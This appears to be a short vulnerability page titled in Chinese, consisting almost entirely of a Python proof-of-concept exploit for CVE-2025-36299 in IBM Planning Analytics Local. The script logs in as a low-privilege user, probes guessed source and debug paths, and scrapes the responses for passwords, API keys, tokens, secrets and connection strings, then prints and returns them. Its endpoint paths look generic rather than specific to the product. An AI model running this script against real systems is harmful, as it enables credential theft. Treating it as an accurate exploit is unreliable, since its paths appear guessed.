CVE-2025-36299 IBM Planning Analytics Local 敏感信息存储漏洞

# CVE-2025-36299 PoC - IBM Planning Analytics Local Sensitive Info Disclosure # This PoC demonstrates accessing source code with hardcoded sensitive information import requests import re TARGET = "http://target:port" # Target IBM Planning Analytics Local instance USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_36299(): """ Exploit for CVE-2025-36299: Sensitive information stored in source code """ # Step 1: Authenticate with low privilege account session = requests.Session() login_url = f"{TARGET}/api/login" auth_data = {"username": USERNAME, "password": PASSWORD} try: response = session.post(login_url, json=auth_data, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Enumerate accessible source files paths_to_check = [ "/api/source/config.js", "/static/js/app.bundle.js", "/api/settings/source", "/api/debug/config" ] sensitive_patterns = [ r'password[\s]*[:=][\s]*["\']([^"\']+)["\']', r'api[_-]?key[\s]*[:=][\s]*["\']([^"\']+)["\']', r'secret[\s]*[:=][\s]*["\']([^"\']+)["\']', r'token[\s]*[:=][\s]*["\']([^"\']+)["\']', r'connection[\s]*string[\s]*[:=][\s]*["\']([^"\']+)["\']' ] found_credentials = [] for path in paths_to_check: try: resp = session.get(f"{TARGET}{path}", timeout=30) if resp.status_code == 200: content = resp.text for pattern in sensitive_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: found_credentials.extend(matches) print(f"[+] Found sensitive data in {path}: {matches}") except Exception as e: continue if found_credentials: print(f"\n[!] Successfully extracted {len(found_credentials)} sensitive items") return found_credentials else: print("[-] No sensitive information found in accessible sources") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-36299 PoC - IBM Planning Analytics Local") print("=" * 50) exploit_cve_2025_36299()